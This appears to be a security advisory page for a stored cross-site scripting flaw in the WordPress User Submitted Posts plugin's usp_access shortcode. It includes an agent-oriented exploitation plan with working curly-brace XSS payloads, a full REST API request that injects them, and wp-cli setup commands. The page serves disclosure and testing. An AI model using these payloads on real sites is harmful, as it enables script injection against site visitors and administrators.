User Submitted Posts <= 20260110 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'usp_access' Shortcode
Description
The User Submitted Posts – Enable Users to Submit Posts from the Front End plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'usp_access' shortcode in all versions up to, and including, 20260110 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=20260110What Changed in the Fix
Changes introduced in v20260113
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-0913 (User Submitted Posts Stored XSS) ## 1. Vulnerability Summary The **User Submitted Posts** plugin (<= 20260110) contains a stored cross-site scripting (XSS) vulnerability in its `usp_access` shortcode. The vulnerability exists because the plugin attempts …
Show full research plan
Exploitation Research Plan: CVE-2026-0913 (User Submitted Posts Stored XSS)
1. Vulnerability Summary
The User Submitted Posts plugin (<= 20260110) contains a stored cross-site scripting (XSS) vulnerability in its usp_access shortcode. The vulnerability exists because the plugin attempts to allow HTML tags using curly brace substitution (e.g., {tag} -> <tag>) but applies htmlspecialchars() before performing the substitution. This allows an attacker to bypass the HTML escaping by using curly braces, which are subsequently converted into raw HTML tags that are rendered unescaped in the browser.
The vulnerable code is located in library/shortcode-access.php within the usp_access() function.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor or REST API (standard post creation/editing).
- Vulnerable Shortcode:
[usp_access] - Vulnerable Attributes:
denyand the shortcode$content. - Authentication: Authenticated, Contributor level or higher.
- Preconditions: The attacker must be able to submit a post containing shortcodes. By default, the "Contributor" role in WordPress can create posts and use shortcodes.
- Payload Location: The payload is stored in the
post_contentfield of a WordPress post.
3. Code Flow
- Entry Point: A user with Contributor privileges creates or updates a post containing the
[usp_access]shortcode. - Shortcode Registration: The plugin registers the shortcode in
library/shortcode-access.php:add_shortcode('usp_access', 'usp_access'); - Vulnerable Function: When the post is viewed,
the_contentfilter triggersdo_shortcode(), which callsusp_access($attr, $content). - Processing Logic (Sink):
// Extract attributes extract(shortcode_atts(array('cap' => 'read', 'deny' => ''), $attr)); // Escaping applied FIRST $deny = htmlspecialchars($deny, ENT_QUOTES); // Substitution applied SECOND (Bypass) $deny = str_replace("{", "<", $deny); $deny = str_replace("}", ">", $deny); // Weak sanitization (only removes <script> tags) $deny = preg_replace('#<script(.*)>(.*)</script>#is', '', $deny); - Return: The function returns
$deny(if the user lacks the capability) or$content(if they have it), both of which are processed identically. The returned string is injected into the page without further escaping.
4. Nonce Acquisition Strategy
This vulnerability is a Stored XSS that is triggered when a post is rendered. No specific plugin-related AJAX nonces are required to trigger the XSS.
To inject the payload as a Contributor:
- Use the
wp_clitool to create the post directly (if possible in the environment). - Alternatively, use the WordPress REST API. The REST API requires a
_wpnoncefor authentication if using cookie-based auth, which can be extracted from thewp-admindashboard. - Agent Strategy:
- Navigate to
wp-admin/post-new.phpas the Contributor user. - Use
browser_evalto extract thewpRestNoncefrom thewpApiSettingsobject:browser_eval("window.wpApiSettings?.nonce").
- Navigate to
5. Exploitation Strategy
Step 1: Authentication
Authenticate as a user with the Contributor role.
Step 2: Payload Injection
Submit a post containing the malicious shortcode. We will use a capability that a Contributor (and potentially others) does not have, such as manage_options, to ensure the deny attribute is rendered for most users.
- Payload:
[usp_access cap="manage_options" deny="{img src=x onerror=alert(document.domain)}"]Clickbait Title[/usp_access] - Method: POST to
/wp-json/wp/v2/posts
Request details:
POST /wp-json/wp/v2/posts HTTP/1.1
Content-Type: application/json
X-WP-Nonce: [REST_NONCE]
{
"title": "Important Update",
"content": "[usp_access cap=\"manage_options\" deny=\"{img src=x onerror=alert(document.domain)}\"]Secret Content[/usp_access]",
"status": "pending"
}
Step 3: Triggering the XSS
An Administrator or another user views the "Pending" post in the WordPress admin dashboard (or the frontend if the Contributor has publishing rights/the post is published).
6. Test Data Setup
- Create Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Plugin Configuration: Ensure the plugin is active.
wp plugin activate user-submitted-posts
7. Expected Results
- The
htmlspecialcharsfunction will see{img ...}and do nothing (no<or>present). - The
str_replacewill convert{and}to<and>. - The final HTML rendered in the browser will contain:
<img src=x onerror=alert(document.domain)> - The browser will execute the
onerrorevent, triggering the alert.
8. Verification Steps
- Verify Post Creation:
wp post list --post_type=post --post_status=pending - Verify Rendered HTML:
Fetch the post content from the frontend or preview:
Confirm the response contains:# Use the post ID from the previous step # Look for the unescaped img tag in the response http_request GET "http://localhost:8080/?p=[POST_ID]"<img src=x onerror=alert(document.domain)>
9. Alternative Approaches
If the deny attribute is not rendered because the user has the capability, the $content parameter is equally vulnerable.
Alternative Payload:[usp_access cap="read"]{img src=x onerror=alert('content_xss')}[/usp_access]
Since read is a capability held by all logged-in users, this payload will execute for any logged-in user viewing the post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.